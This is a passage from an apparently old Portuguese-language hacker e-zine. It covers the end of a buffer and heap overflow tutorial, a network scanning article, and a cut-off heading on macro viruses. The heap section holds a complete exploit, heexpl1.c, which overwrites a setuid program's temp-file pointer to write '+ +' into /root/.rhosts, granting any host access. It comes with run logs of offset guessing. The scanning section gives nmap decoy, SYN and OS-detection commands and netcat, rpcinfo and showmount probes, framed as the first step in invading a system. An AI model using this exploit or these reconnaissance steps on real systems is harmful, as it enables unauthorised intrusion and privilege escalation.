linux,mas que ela eh possivel, isso eh fato!!!Voce pode ver abaixo este programa bugado: /* QUARTO PROGRAMA BUGADO PARA TUTORIAL SOBRE OVERFLOWS PROGRAMA BUGADO COM A FUNCAO SCANF(). */ #include #include main(){ char nome[12]; printf("Digite seu nome:"); scanf("%s",&nome); printf("Seja bem vindo %s!\n",nome); } Voce pode ver claramente que a funcao scanf() acima nao checa dados recebidos.Mas neste exemplo nao empurraremos dados pela linha de comando, isso eh um pequeno problema que o pessoal que manja de IPC jah sabe resolver, mas um grande problema.Soh encontrei um documento que falasse algo sobre exploitacao de um buffer via IPC na internet, mesmo assim, nada claro.Lembrando que quando falo exploitacao via IPC, nao tou me referindo a buffer remotos nao, via socket, tou me referindo ao programa acima.Talvez exista ateh um metodo melhor que isto,nao sei.Teste para ver se esse programa eh bugado, usando o gdb, como no esquema lah do comeco. Assim que sair o tutorial sobre IPC, a gente avanca mais nesse ponto. Quanto ao codigo de sprintf() acima, nao faz-se necessario IPC para exploitar ele, soh necessita de uma manha para que o endereco de retorno caia numa parte do buffer que execute nossa shell.Vou deixar para depois tambem, isso aqui jah tah grande mais, e tah meio avancado demais.Fica aih os conceitos, espero quando publicar a continuacao deste txt voce nao precisar mais dos dados que nele estarao referentes a Stack Overflows, pois espero que esteja jah dominando boa parte dessa tecnica. Encerramos por aqui, essa fase inicial sobre Stack Overflows, veremos agora algo parecido com Stack Overflows, mas que eh muito util hoje em dia, o Heap Overflow. ------------------------- 6 - O HEAP - A NOVA ERA? | ------------------------- Como podemos ver acima,estah mais do que provado que a regiao denominada Stack pode ser usada atraves de estouro de buffer para execucao de codigos arbitrarios ou mais conhecidos como shellcodes (codigos de shell).Quando a pratica de Stack Overflows foi sendo cada vez mais difundida, o time da seguranca tratou de tentar contra-atacar. Pensaram e estudaram ateh encontrar uma "forma" de dificultar a execucao de codigo arbitrario via Stack Overflow.Criaram um programa capaz de manter vigilancia no Stack e impedir a execucao de codigo arbitrario, sao os chamados Stack Guards.Nao sao tao eficientes, mas determinados tipos de vulnerabilidades nao podem ser mais exploitadas via Stack Overflows.No momento tambem sao poucos os programas deste tipo, e eu mesmo soh possuo o conhecimento de dois, o Stack Guard p/ estacoes sun/solaris, e um recem criado, conhecido como Stack Shield, sendo este ultimo para plataformas linux.Devem existir bem mais por aih, e se de alguma forma isto se concretizar, logo logo estarao acoplados as distribuicoes de sistemas operacionais.Mas, como vimos no inicio, existem outras regioes de memoria, e dentre estas, uma possui uma particularidade interessante, eh a regiao BSS. Podemos visualizada virtualmente no desenho do item 1.3 deste arquivo texto.Ateh o presente momento, nao foi divulgada ainda uma possivel protecao a essa regiao da memoria contra os buffers overflows,nesse caso conhecido como heap overflows ou heap baseado em bss overflows. Heap overflows, ao contrario dos Stack overflows, nao sao muito conhecidos, sao pouquissimos os textos que ensinam algo sobre isso, mas nao desanime amigo, porque entendo bem os overflows em Stack e um pouco mais de C, voce poderah perfeitamente entender e consequentemente praticar isto aqui tambem.Entao amigo, quando voce se deparar com um sistema que possui protecao contra "Stack Overflows", nao pense duas vezes, tente "heap Overflows", porque, como vimos no desenho do cap 1.3, heap pode ser usado p/ exploitar o stack e a bss, e ateh mesmo passar por cima de uma dessas protecoes de Stack aih, lembrando que, o autor desse txt nao faz parte do time de seguranca, vai ver a situacao ainda eh pior do que a descrita aqui, por mim!!:) 6.1 - Alocacao Dinamica em C ----------------------------- Irei aqui dar uma breve explicacao de como eh feita a alocacao dinamica de dados em C.Lembrando que nao eh intuito deste tutorial ensinar C ou qualquer outra linguagem, fique atento a atual home page do grupo Unsekurity Team, sempre tem algo relacionado a programacao por lah. A alocacao dinamica em C tem diversas utilidades, uma delas eh a criacao de listas de informacoes de comprimento veriavel, muito utilizadas em aplicacoes de banco de dados, eis aih um dos motivos de se preferir um BD feito a mao, do que lixos como oracle,mysql e etc..Mas isso fica para outra oportunidade, no momento, tenhamos em mente que para manipularmos dados na regiao BSS, onde usaremos nossos Heap Overflows, necessitamos saber este conceito de Alocacao Dinamica.Isso pode servir para um futuro breve, mano!! O sistema de alocacao dinamica do C, contem muitas funcoes, mas as mais importantes e mais usadas sao malloc() e free(), tambem se usa muito calloc().A alocacao dinanica permite ao programador alocar memoria para variaveis quando o programa estah sendo executado. Isso poderah ser muito util em aplicacoes IPC visando escrita em buffers que nao recebem dados pela linha de comando.Mas aguarde!! Um simples exemplo de alocacao dinamica segue abaixo: #include #include #define A 0x41 main (void) { static char *buffer, string[300]; int tamanho,i; tam = 200; if((buffer=(char *)malloc(tam)) == NULL){ fprintf (stderr,"Erro: Nao pode alocar memoria!!\n"); exit(1); } for (i=0; i #include #define A 0x41 main (int argc, char *argv[]) { static char *buffer, *string; int tamanho,i; if(argc < 2){ printf("Primeiro Programa bugado para Heap Overflow!\n"); printf("Uso: %s \n",argv[0]); exit(0); } tamanho = atoi(argv[1]); if((buffer=(char *)malloc(tamanho)) == NULL){ fprintf (stderr,"Erro: Nao pode alocar memoria!!\n"); exit(1); } if((string=(char *)malloc(tamanho - 50)) == NULL){ fprintf (stderr,"Erro: Nao pode alocar memoria!!\n"); exit(1); } for (i=0; i #include #include #include #include /* Define tamanho do buffer que serah usado para sobrescrever */ #define BUFSIZE 16 /* Define tamanho de bytes em um endereco */ #define ADDRLEN 4 int main() { u_long diff; static char buf[BUFSIZE], *bufptr; bufptr = buf, diff = (u_long)&bufptr - (u_long)buf; printf("bufptr (%p) = %p, buf = %p, diferenca = 0x%x (%d) bytes\n", &bufptr, bufptr, buf, diff, diff); memset(buf, 'A', (u_int)(diff + ADDRLEN)); printf("bufptr (%p) = %p, buf = %p, diferenca = 0x%x (%d) bytes\n", &bufptr, bufptr, buf, diff, diff); return 0; } Compile-o normalmente e depois execute-o, voce irah receber algo parecido com as linhas abaixo: bufptr (0x80496b8) = 0x80496a8, buf = 0x80496a8, diferenca = 0x10 (16) bytes bufptr (0x80496b8) = 0x41414141, buf = 0x80496a8, diferenca = 0x10 (16) bytes O que podemos perceber acima eh que o ponteiro no fim aponta para um endereco diferente de memoria que apontava no inicio.O que se pode fazer com isso, eh aproveitar uma vulnerabilidade onde nos possamos sobrescrever algum arquivo temporario para apontar para uma string separada(como por exemplo um parametro em argv[1] que nos mesmos possamos prover), que possa conter algo malicioso, como "/root/.rhosts". Para demontrar isto, iremos dar uma olhada em um programa bugado com estas caracteristicas,iremos usar um arquivo temporario para momentanea- mente salvar dados colocados(input) de algum usuario.O programa abaixo tambem foi escrito por Matt Conover, e tambem pode ser obtido em www.w00w00.org, bem como seu tutorial sobre Heap Overflows que estou me baseando. ----------------------------heapvul1.c-------------------------------- /* * Este eh um tipico programa vulneravel.Ele irah armazenar dados * de entrada(input) em um arquivo temporario. * Desenvolvido por Matt Conover. * Alterado por Nash Leon. * Compile com: gcc -o vulprog1 vulprog1.c */ #include #include #include #include #define BUFSIZE 16 /* * Rode este vulprog como root para que tenha permissao para escrever * o /root/.rhosts , ou entao adapte-o para o usuario que se encontra. */ int main(int argc, char **argv) { FILE *tmpfd; static char buf[BUFSIZE], *tmpfile; if (argc <= 1) { printf("Uso: %s \n", argv[0]); exit(0); } tmpfile = "/tmp/vulprog.tmp"; /* Este nao eh o arquivo temporario vulneravel. */ printf("antes: tmpfile = %s\n", tmpfile); printf("Digite uma linha de dados para colocar em %s: ", tmpfile); gets(buf); printf("\napos: tmpfile = %s\n", tmpfile); tmpfd = fopen(tmpfile, "w"); if (tmpfd == NULL) { fprintf(stderr, "Erro abrindo %s: %s\n",tmpfile,strerror(errno)); exit(1); } fputs(buf, tmpfd); fclose(tmpfd); } ------------------------------------------------------------------------ Compila esse programa bugado e depois seta ela como suid. (Como root digite: chmod +s heapvul1) Abaixo segue um exploit para este programa bugado, tambem feito por Matt Conover, para variar. -----------------------------heexpl1.c--------------------------------- /* * Copyright (C) January 1999, Matt Conover & WSD * * Alterado por Nash Leon. * * Este exploit vai passar alguns argumentos para o programa(que o * programa vulneravel nao usa), exploitando o mesmo.O programa * vulneravel espera que nos digitemos uma linha de dados de entrada, * para ser armazenada temporariamente.Todavia, por causa de um * static buffer overflow, nos podemos sobrescrever o arquivo * temporario apontado, para que ele aponte para argv[1](que nos * devemos passar como "/root/.rhosts").Entao ele irah escrever nossa * linha temporaria para este arquivo.Entao nos sobrescrevemos a string, * (que nos iremos passar como nossa linha de entrada de dados) para que * seja: * + + # tamanho de (endereco tmpfile) - (endereco de buf) # de A's | * endereco de argv[1] * * * Nos usamos "+ +", permite todos os hosts, seguido por '#' , que eh * usado para comentarios em shell scripts, para previnir que nosso * "codigo de ataque" cause problemas.Sem a "#", programas usando * .rhosts devem interpretar mal nosso codigo de ataque. * * Compile com: gcc -o exploit1 exploit1.c */ #include #include #include #include #define BUFSIZE 256 #define DIFF 16 /* Diferenca estimada entre buf/tmpfile em heapvul1 */ #define VULPROG "./heapvul1" #define VULFILE "/root/.rhosts" /* o arquivo 'buf' que serah armazenado */ /* Pega o valor de Stack Pointer(sp) fora do Stack.(Usado para calcular o endereco de argv[1] */ u_long getesp() { __asm__("movl %esp,%eax"); /* equiv. de 'return esp;' em C */ } int main(int argc, char **argv) { u_long addr; register int i; int mainbufsize; char *mainbuf, buf[DIFF+6+1] = "+ +\t# "; /* ------------------------------------------------------ */ if (argc <= 1) { fprintf(stderr, "Uso: %s [tente 310-330]\n", argv[0]); exit(1); } /* ------------------------------------------------------ */ memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# "); memset(buf + strlen(buf), 'A', DIFF); addr = getesp() + atoi(argv[1]); /* reverse byte order (em um sistema little endian) */ for (i = 0; i < sizeof(u_long); i++) buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255); mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULPROG) + strlen(VULFILE) + 13; mainbuf = (char *)malloc(mainbufsize); memset(mainbuf, 0, sizeof(mainbuf)); snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n", buf, VULPROG, VULFILE); printf("Sobrescrevendo tmpaddr p/ apontar p/ %p, check %s depois.\n\n", addr, VULFILE); system(mainbuf); return 0; } --------------------------------------------------------------------- Compila ele e executa.Olha, ele mandou tentar offsets de 310 a 330, mas eu soh consegui chutando 379, voce pode ir chutando, e vendo o que aparece em "apos: tmpfile =".Veja meu exemplo abaixo: [localhost:/]$ ./heexpl1 350 Sobrescrevendo tmpaddr p/ apontar p/ 0xbffffb56, check /root/.rhosts depois. antes: tmpfile = /tmp/vulprog.tmp Digite uma linha de dados para colocar em /tmp/vulprog.tmp: apos: tmpfile = erro abrindo : No such file or directory [localhost:/]$ ./heexpl1 Sobrescrevendo tmpaddr p/ apontar p/ 0xbffffb74, check /root/.rhosts depois. antes: tmpfile = /tmp/vulprog.tmp Digite uma linha de dados para colocar em /tmp/vulprog.tmp: apos: tmpfile = root/.rhosts erro abrindo root/.rhosts: No such file or directory Preste atencao acima, o "apos: tmpfile = root/.rhosts" indica que o ponteiro estah bem proximo de alcancar o endereco que queriamos. [localhost:/]$ ./heexpl1 379 Sobrescrevendo tmpaddr p/ apontar p/ 0xbffffb73, check /root/.rhosts depois. antes: tmpfile = /tmp/vulprog.tmp Digite uma linha de dados para colocar em /tmp/vulprog.tmp: apos: tmpfile = /root/.rhosts Pronto!!O arquivo foi escrito com sucesso!!Chute offsets de 5 em 5, prestando sempre atencao no que apareco na linha "apos: tmpfile = /root/.rhosts", veja que no ultimo exemplo ele nao apresentou mensagem de erro.Se voce me pergunta se isso pode ser melhorado??? Pode sim, lembre-se que ele diz acima que usa 1 metodo para pegar o 'return address', voce conhece varios metodos, incremente um seu, e verah melhoras consideraveis neste exploit. A funcao vulneravel do programa "heapvul1" descrito, eh a funcao gets(), como muitas, ela tambem nao faz checagem no tamanho de buffer que recebe. Talvez voce esteja achando tudo isso muito dificil, nao vou me aprofundar, isso foi soh para que voce tenha uma ideia, no proximo, talvez explique mais detalhado isso tudo,de uma olhada nesse txt do Matt Conover, ele eh um dos poucos disponiveis. -------------------- 8 - O PROJETO OMEGA | -------------------- Irei descrever de forma breve, o que se trata este "Projeto", nao entrarei em detalhes tecnicos por enquanto, pois foge do intuito deste tutorial, haja visto, nao considero simples as demonstracoes praticas desta tecnica.O que se pretende com isto, eh a eliminacao da necessidade de se chutar offsets, isso que fazemos muito.Existem tecnicas de forca bruta, que faz com que programas facam isso por nos, a gente deixa lah e ele fica rodando o exploit, chutando offsets ateh que consiga nosso objetivo, mas esse projeto omega eh diferente, tem em mente acabar com a necessidade de chutar offsets.No inicio, como sempre, muita gente nao deu ideia ao cara que veio com essa teoria, ele eh conhecido como "lamagra", mas parece que agora o pessoal anda vendo que ele tem razao.Recentemente foi publicado num zine de grande circulacao, o HWA zine, que pode ser obtido em www.csoft.net/~hwa , uma materia contendo material feito por esse lamagra para o zine "core zine", que pode ser baixado na propria home page do lamagra, em http://bounce.to/unah16/. Eu nao sei precisar mais dados sobre isso, mas creio que existe um porem, como tem aparecido patchs e programas no intuito de evitar buffer overflows, creio que o proprio conceito de buffer overflows como tecnica de ataque estah em jogo.Sabemos que nao existe somente estah tecnica, mas creio que o conhecimento desta eh essencial.O esforco do lamagra eh valido, e creio que devemos sim medir esforcos para termos dominio sobre essa teoria e consequentemente pratica-la. Caso seja possivel, num futuro txt sobre overflows, incluirei uma parte tecnica destinada a este projeto.Mas por enquanto, caso queira conferir, leia o zine "core zine", de numeros 02 e 03, e verah algo sobre essa teoria e muitas outras coisas interessantes, tem ateh um tutorial sobre stack overflows, na versao 01, se nao me engano. Sem mais sobre isso por enquanto. --------------------- 9 - PROCURANDO FUROS | --------------------- Existem varios metodos para ver se um programa eh bugado ou nao. Irei enumerar apenas alguns. Sabemos que um programa para ser vulneravel a um buffer overflow necessita possuir um bug(uma falha), em seu codigo ou implementacao, que permita que causemos um desvio do curso normal do programa atraves do enchimento de um buffer usado por uma funcao que nao faz checagem de tamanho dos parametros que recebe.Sao varias as funcoes em C que podem ser vulneraveis a buffer overflows, mas dependendo da implementacao, uma funcao considerada "bugada" pode muito bem fazer uma checagem do tamanho dos dados que recebe e nao ser mais considerada bugada.Um exemplo disso segue abaixo: scanf("%s ", variavel); scanf("%500s ", variavel); Se variavel foi declarada para receber ateh 512 bytes, no primeiro caso, se digitarmos mais de 512, conseguiremos um buffer overflow, mas no segundo caso nao, pois existe uma checagem dos parametros recebidos por scanf(). Muitas funcoes possuem funcoes substitutas, que sao funcoes que efetuam a mesma operacao da funcao considerada "bugada"( por nao fazer a checagem do tamanho dos parametros que recebe) mas que checam o tamanho. Vemos um exemplo disso nas funcoes abaixo: strcat(variavel, buffer); strncat(variavel, buffer,sizeof(buffer)); Se "variavel" possui um tamanho maior do que o de "buffer", no primeiro caso teremos sim uma possivel condicao de buffer overflow,caso coloquemos mais dados do que buffer possa suportar; mas no segundo caso, strncat faz uma checagem do tamanho de buffer antes de concatenar com variavel. O melhor metodo para saber se um programa eh vulneravel ou nao eh atraves da leitura de seu codigo-fonte.Eu disse no inicio desse txt que poderiamos saber se um programa eh vulneravel a overflow atraves do recebimento da mensagem "Segmentation Fault", mas isso por sih soh nao basta, pois muitos programas possuem erros que geram o recebimento desta mensagem. Voce pode sim tentar sempre um brutal force(tentando encher um buffer com muitos dados), e ver se consegue obter essa resposta.Isso eh util em programas com codigos fechados,mas mesmo para programas deste tipo existe uma solucao "melhor".Existe por aih, um programa capaz de descompilar um programa.Isso mesmo, coisa rustica ainda, mas pode ser util,voce pode obter mais informacoes sobre isso e baixar uma versao deste programa em http://www.it.uq.edu.au/groups/csm/dcc.html. Algum tempo atras, pouco tempo, saiu um programa chamado its4.Esse programa seria um "grep" melhorado, pois ele checa um codigo fonte em busca de possiveis vulnerabilidades, apontando possiveis solucoes(troca da funcao,checagem de bounds,etc), bem como indicando o nivel de risco no uso de cada funcao, e ainda permite uma atualizacao dos dados(acrescentar ou retirar uma funcao considerada bugada).Este programa eh muito conhecido e pode ser obtido em http://www.rtscorp.com/its4 ou mesmo nos sites de seguranca por aih, como na packetstorm, http://packetstorm.securify.com//. Mas ele por sih soh nao eh tudo, pois tambem divulga informacoes erradas, creio que uma busca serene e incessante de conhecimento de C eh mais do que essencial.Breve o Unsekurity Team deverah estar publicando mais textos no intuito de massificar conhecimentos nesta area, bem como abranger mais sistemas operacionais. Irei enumerar algumas das funcoes que sao reconhecidas como sendo perigosas, pois podem ser vulneraveis a ataques de buffer overflows, nao irei diferenciar quanto a regiao de memoria, mas a maioria pode ser exploitada tanto via Heap como Stack overflows.Sao elas: strcpy(); scanf(); fscanf(); strcat(); gets(); fgets(); fprintf(); sprintf(); vsprintf(); strstr(); bzero(); bcopy(); getopt(); getpass(); getcwd; popen(); system(); execvp(); avoid execlp(); Tambem podem ocorrer overflows sob certas circunstancias em: strncpy(); strncat(); getenv(); atexit(); strdup(); tmpnam(); malloc(); readdir(); seekdir(); printf(); Dentre possivelmente outras. Como voce pode ver,nao sao poucas as funcoes, e dependendo sim do nivel do fucador, eh possivel gerar overflows em qualquer funcao descritas acima.Agora que voce jah tem conhecimento de como nao eh tao dificil gerar um overflow, mas o quanto eh dificil fazer um programa complexo seguro, creio que devemos sim respeitar os programadores bem como a comunidade de seguranca, nao eh facil fazer um programa com milhares de linhas de codigos sem possuir uma condicao para buffer overflow. De qualquer forma,tendo em vista um maior aprendizado nisso tudo, iremos de alguma forma forcar a escrita de codigos mais seguros e estaveis, tudo para que o usuario comum possa algum dia ter a seguranca de usar um programa ou navegar na internet e etc, sem a preocupacao de alguem estar bisbilhotando seus dados.Fucadores eticos respeitam os dados das pessoas e lutam contra as grandes corporacoes para garantir a privacidade dessas pessoas, mesmo que lah fora elas nao saibam as reais causas que nos levam a isso tudo, acredito que eh mais do que gratificante forcar esse pessoal(grandes corporacoes inescrupulosas) a fazer o que nao querem, que eh dar maior qualidade e seguranca ao uso pessoal dos computadores de um modo geral. Aproveito essa parte para dizer algo tambem.Eu estava pensando em publicar algum exploit de nossa autoria, mas aih um membro do grupo me alertou para algo que eu ainda nao havia pensado: "Nao devemos publicar nossos exploits", quando muito, devemos liberar apenas aos mais intimos e conhecidos que de fato nao publicarao, por que?? * Primeiro -> A comunidade de seguranca estah ficando cada vez mais rica.Sao empresas e mais empresas trabalhando para as corporacoes, e em nenhum momento eles gastam dinheiro para divulgar a causa hacker(digo hacker,nao cracker!), pois eles jah estao inseridos no sistema. * Segundo -> Talvez voce tenha algum exploit proprio para sistemas abertos, como linux que afete uma distribuicao descente. Quando eu falo descente amigo, digo "Debian", pois ateh mesmo o Slackware tah seguindo no rumo de capitalizar dinheiro em cima do linux.Se voce descobrir um exploit para um sistema como Debian, aconselho voce a divulgar de inicio ao pessoal que faz a distribuicao, os desenvo- vedores,programadores, procurando contato diretamente com eles.Mas se for para as outras distribuicoes linux, em especial Red Hat linux, Caldera Open Linux, Red Hat Conectiva Linux, Corel Linux, e o que tah vindo agora, Motorola Linux, divulgue seu exploit somente no underground, deixe que eles depois tratem de achar o bug e consertar, pois essas distribuicoes nao possuem escrupulos e estao denegrindo e se aproveitando do trabalho alheio.Abram os olhos, quem nao garante que amanha a Red Hat nao seja uma nova microsoft??? * Terceiro -> A comunidade de seguranca na sua maioria(alguns ainda escapam) nao se importam com voce, querem que voce vah preso, e nao fazem questao de diferenciar o termo hacker do termo cracker, simplesmente porque eles ganham quando a midia divulga os criminosos que trazem prejuizos para todos.Por isso, amigo, se teu ego falar alto porque voce conseguiu descobrir algo novo, cuidado voce vai ajudar esses caras, mas eles nao irao ajudar voce, caso um dia precise. * Quarto -> Um cara que divulga um exploit para um determinado bug, que se diz de um grupo fucador ou nao, deve ter em mente o perigo que representa a divulgacao do exploit, me refiro ao uso desse exploit por parte dos kiddies e lamers.Uma coisa eh voce dizer que tal programa possui um bug em determinada funcao, outra eh voce disponibilizar um exploit para isso.A realidade, eh que o pessoal que irah fazer um exploit para o bug descoberto por voce, eh bem reduzido, no entanto, caso divulgue um exploit, o universo do pessoal que o usarah seja lah para quais intuitos for, serah demasiadamente grande.Nos ataques de DDoS recentes, um dos "fabricantes" de uma das possiveis ferramentas usadas foi severamente acusado de participar diretamente dos ataques, que garantia voce terah que nao farao isso contigo?? Bom, esses sao soh alguns itens que me levam a fazer apologia da "Nao Divulgacao de Exploits" por parte de fucadores.Sei que a comunidade de seguranca nao gosta deste tipo de ideologia,mas lembrando, nao eh para eles que escrevo.Nao deixe seu ego tomar conta de voce mano!!Faca as coisas com conciencia!! ---------------- 10 - TERMINANDO | ---------------- 10.1 Links e Referencias -------------------------- "Smashing The Stack For Fun And Profit" por Aleph One. Pode ser obtido em: http://www.phrack.com -> Zine 49, item 14. http://packetstorm.securify.com/ -> Manda achar. http://www.technotronic.com/ http://www.2600.com/phrack/ http://www.securityfocus.com/ "w00w00 on Heap Overflows" por Matt Conover. Pode ser obtido em: http://www.w00w00.org/ http://www.securityfocus.com/ "adv.overflow.paper" por Taeho Oh. Pode ser obtido em: http://www.technotronic.com/ http://www.securityfocus.com/ "STACK OVERFLOW EXPLOiTS ON LiNUX/BSDOS/FREEBSD/SUNOS/SOLARiS/HP-UX" - Feito pelo pessoal da The Hacker's Choice. Pode ser obtido em: www.infowar.co.uk/thc/ -> Procure por thc-mag3.zip. "Writing buffer overflow exploits - a tutorial for beginners" por Mixter. Pode ser encontrado em: http://members.tripod.com/mixtersecurity/papers.html http://1337.tsx.org/ "How to write Buffer Overflows" - por Mudge. Pode ser obtido em : http://www.l0pht.com/ http://www.insecure.org/stf/mudge_buffer_overflow_tutorial.html "Buffer Overruns, whats the real story?" - por Lefty. Pode ser obtido em: http://packetstorm.securify.com/ http://www.securityfocus.com/ "Attack Class: Buffer Overflows" - por Evan Thomas. Pode ser obtido em: http://helloworld.ca/ ** Existem bons materiais em portugues, que merecem sim uma olhada. Nao sei aonde se acha, mas sei dos zines da Axur e da RWX. Procure em algum sistema de busca. Axur0503.new - Item 6 - "The Stack" - por csh. rwx01.txt - Item 2 - "OVERFLOWS" - por auth. ** E tambem um bom material recente: mbcbuffer.txt - "INSIDE TO BUFFERS OVERFLOWS" - por cync. Pode ser obtido em: http://www.mbc-corp.com.br Nao conheco outros txts em portugues, mas vale a gratidao a todos aqueles que tem contribuido para democratizar informacoes nao soh no nosso pais como em todos os cantos da Terra. Alguns links: http://bounce.to/unah16/ -> Info sobre o Projeto Omega. http://www.posthuman.za.net -> Zine f0rbidden knowledge, procure a edicao 08, tem algo sobre overflows. "Crispin Cowan, et al., StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks" - Sobre o Stack Guard. http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/usenixsc98_html/ ......................................................................... 10.2 Consideracoes Finais. -------------------------- Aih estah amigo, por enquanto isso eh tudo.Em breve estarei disponibilizando mais materiais de nivel, visando maior abrangencia de conhecimentos por parte de todos aqueles que se encontrarem dispostos a aprender.Tem muitas coisas sobre buffer overflows ainda, creio que em breve estarei disponibilizando mais tutoriais sobre programacao de sockets e shellcodes acoplando junto sempre exemplos de buffer overflows. Em breve estarah sendo disponibilizado algo tambem referente a programacao IPC, bem como alguma coisa sobre TCP/IP. Com a chegada destes materiais, vai ficar mais facil a compreensao de futuros tutoriais de sockets, investindo em UDP e RAW sockets, bem como com a chegada dos tutoriais de IPC, em exploitacao remota e de funcoes mais complexas.Eh soh questao de tempo, paciencia amigo!! Gostaria de agradecer aqueles que de uma forma ou de outra, tem colaborado com a distribuicao das informacoes aqui contidas, bem como ao pessoal que tem dado apoio.Espero que tudo isso sirva para alguem, bem como que isso possa ser passado para mais e mais pessoas, visando nao praticar coisas ruins, creio que ainda ha espaco para a etica, e a beleza da etica, ainda pode mudar pessoas, por isso, amigo, faca sua parte, nao deixe a chama apagar, mas nao queime nunca alguem com ela. Termino aqui direcionando meus agradecimentos a Ramona, meu grande amigo zip, module, psych, e-brain, raynox, t[rex], xf86config, cs0, Cdma, Matt_Salermo, Dani_Linidinha, CeZiNHa, f00, ocorvo, thunderoffire, Blind_Bard, d3m3ns, Dinamite_, e Magic Kiss.:) Nash Leon vulgo coracaodelao nashleon@yahoo.com.br ----------------------------------EOF----------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 15 ]=-=[ Varreduras e Varreduras ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= --[Introdução]-- As varreduras (scanning) são feitas para se obter informações sobre um determinado servidor ou de toda uma rede, sendo portanto, um ponto de partida para a invasão de qualquer sistema. Veremos aqui algumas das técnicas utilizadas. --[Varreduras de Ping]-- O ping envia pacotes TCP_ECHO para um computador, afim de verificar se ele está ativo. Ele pode ser usado para verificar o número de sistemas ativos numa rede, embora seja um método lento para grandes redes. Existem inúmeros programas para fazer essa varredura. Se quiséssemos determinar sistemas ativos numa rede classe C usando o fping, faríamos: richard@debian:~$ gping 10 4 0 1 254 | fping -a 10.4.0.1 is alive 10.4.0.4 is alive 10.4.0.30 is alive 10.4.0.100 is alive Caso o tráfego ICMP seja bloqueado, podemos tentar uma varredura ping TCP, usando o nmap com a opção -PT e uma porta: debian:/# nmap -sP -PT25 10.4.0.0/24 TCP probe port is 25 Starting nmap V. 2.54BETA34 ( www.insecure.org/nmap/ ) Host (10.4.0.1) appears to be up. Host (10.4.0.5) appears to be up. Host (10.4.0.30) appears to be up. Host (10.4.0.100) appears to be up. Nmap run completed -- 256 IP addresses (4 hosts up) scanned in 7 seconds É uma boa idéia utilizar outras portas comuns, como 80 (http) e 110 (POP). --[Varredura de Portas]-- Com a varredura de ping e TCP, nós identificamos os computadores ativos da rede. Agora, faremos a varredura de portas, para verificar quais serviços estão sendo executados em cada máquina e o seu sistema operacional. No Windows, pode-se utilizar o PortPro (www.securityfocus.com), já no Linux, utilizaremos o netcat: debian:/# nc -v -z -w3 10.4.0.1 1-150 [10.4.0.1] 143 (imap) open [10.4.0.1] 139 (netbios-ssn) open [10.4.0.1] 111 (sunrpc) open [10.4.0.1] 80 (http) open [10.4.0.1] 25 (smtp) open [10.4.0.1] 22 (ssh) open [10.4.0.1] 21 (ftp) open A opção -v serve para detalhar a saída; -z é um modo usado em varreduras (zero I/O); -w serve para definir o timeout para as conexões; 1-150 é o intervalo de portas que deve ser varrido. Pode-se também realizar uma varredura UDP através da opção -u. Com o nmap, podemos fazer uma varredura SYN, que é mais dificil de ser detectada. Podemos usar ainda a opção -D, que inicia varreduras "falsas" junto com a verdadeira, afim de dificultar a detecção. debian:/# nmap -sS 10.4.0.1 -D www.isca.com,ME -p21,22,23,25,80 Starting nmap V. 2.54BETA34 ( www.insecure.org/nmap/ ) Interesting ports on (10.4.0.1): (The 1 port scanned but not shown below is in state: closed) Port State Service 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 80/tcp open http Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds Com o nmap, podemos tentar detectar qual sistema operacional está sendo executado no computador alvo, através da opção -O: debian:/# nmap -O 10.4.0.1 Starting nmap V. 2.54BETA34 ( www.insecure.org/nmap/ ) Interesting ports on (10.4.0.1): (The 1544 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 80/tcp open http 111/tcp open sunrpc 139/tcp open netbios-ssn 143/tcp open imap2 443/tcp open https 675/tcp open unknown 700/tcp open unknown 1024/tcp open kdm 4559/tcp open hylafax Remote operating system guess: Linux Kernel 2.4.0 - 2.4.18 (X86) Uptime 9.508 days (since Tue Apr 22 05:48:17 2003) Nmap run completed -- 1 IP address (1 host up) scanned in 6 seconds Agora que já sabemos o sistema operacional e os serviços que são executados no computador, podemos determinar a versão de cada um, em busca de falhas conhecidas. Para isso, abra uma conexão telnet para uma das portas abertas do servidor digite algo e dê ENTER: debian:/# telnet 10.4.0.1 80 Trying 10.4.0.1... Connected to 10.4.0.1. Escape character os '^]'. asd 501 Method Not Implemented

Method Not Implemented

asd to /index.html not suppported.

Invalid method in request asd

Apache/1.3.26 Server at phoenix.lab.nom.br Port 80
Connection closed by foreign host. Agora que sabemos que o servidor está executando o Apache 1.3.26, podemos procurar por vulnerabilidades desta versão, e tentar ganhar acesso na maquina. Caso o servidor alvo seja UNIX e esteja executando o rpcbind (porta 111), podemos utilizar o rpcinfo para verificar quais aplicativos RPC estão ativos: debian:/# rpcinfo -p 10.4.0.1 program vers proto port 100000 2 tcp 111 portmapper 100000 2 udp 111 portmapper 100011 1 udp 672 rquotad 100011 1 tcp 675 rquotad 100005 1 udp 1024 mountd 100005 1 tcp 1024 mountd 100005 2 udp 1024 mountd 100005 2 tcp 1024 mountd 100003 2 udp 2049 nfs 100003 3 udp 2049 nfs Considerando ainda um sistema UNIX, se este tiver o NFS ativo (porta 2049), podemos conseguir alguma informação útil, em algum diretório público (caso ele exista). Para listar os diretórios compartilhados, usamos o showmount: debian:/# showmount -e 10.4.0.1 Export list for 10.4.0.1: /home 10.4.0.* /var/spool/mail 10.4.0.* --[Finalizando]-- Vimos aqui algumas das muitas técnicas que podem ser utilizadas para obter informações sobre determinadas máquinas ou redes. Para uma melhor descrição do funcionamento de cada ferramenta utilizada e outras de suas opções, leia as man pages. debian:/# man nmap Formatting page, please wait... :P hallucination =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 16 ]=-=[ Vírus de Macro ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 